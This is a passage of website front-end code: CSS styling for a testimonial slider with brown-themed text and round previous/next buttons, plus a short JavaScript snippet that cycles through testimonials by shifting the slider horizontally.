        /* Testimonial Text */
        .testimonial-text {
            font-size: 16px;
            color: rgba(50, 40, 30, 0.9);
            line-height: 1.5;
        }

        /* Testimonial Author */
        .testimonial-author {
            font-size: 18px;
            font-weight: bold;
            color: #6D4C41; /* Brown matching the website */
        }

        .testimonial-role {
            font-size: 14px;
            color: rgba(50, 40, 30, 0.7);
        }

        /* Navigation Buttons */
        .testimonial-nav {
            position: absolute;
            top: 50%; /* Centers buttons relative to testimonial */
            transform: translateY(-50%);
            background: white;
            border: none;
            width: 40px;
            height: 40px;
            border-radius: 50%;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            font-size: 18px;
            color: #6D4C41;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .testimonial-nav:hover {
            background: #6D4C41;
            color: white;
        }

        .left-nav {
            left: 10px;
        }

        .right-nav {
            right: 10px;
        }

JavaScript:

    let currentTestimonial = 0;
    const testimonials = document.querySelectorAll(".testimonial");
    const totalTestimonials = testimonials.length;

    function showTestimonial(index) {
        const slider = document.querySelector(".testimonial-slider");
        slider.style.transform = `translateX(-${index * 100}%)`;
    }

    function prevTestimonial() {
        currentTestimonial = (currentTestimonial === 0) ? totalTestimonials - 1 : currentTestimonial - 1;
        showTestimonial(currentTestimonial);
    }

    function nextTestimonial() {
        currentTestimonial = (currentTestimonial === totalTestimonials - 1) ? 0 : currentTestimonial + 1;
        showTestimonial(currentTestimonial);
    }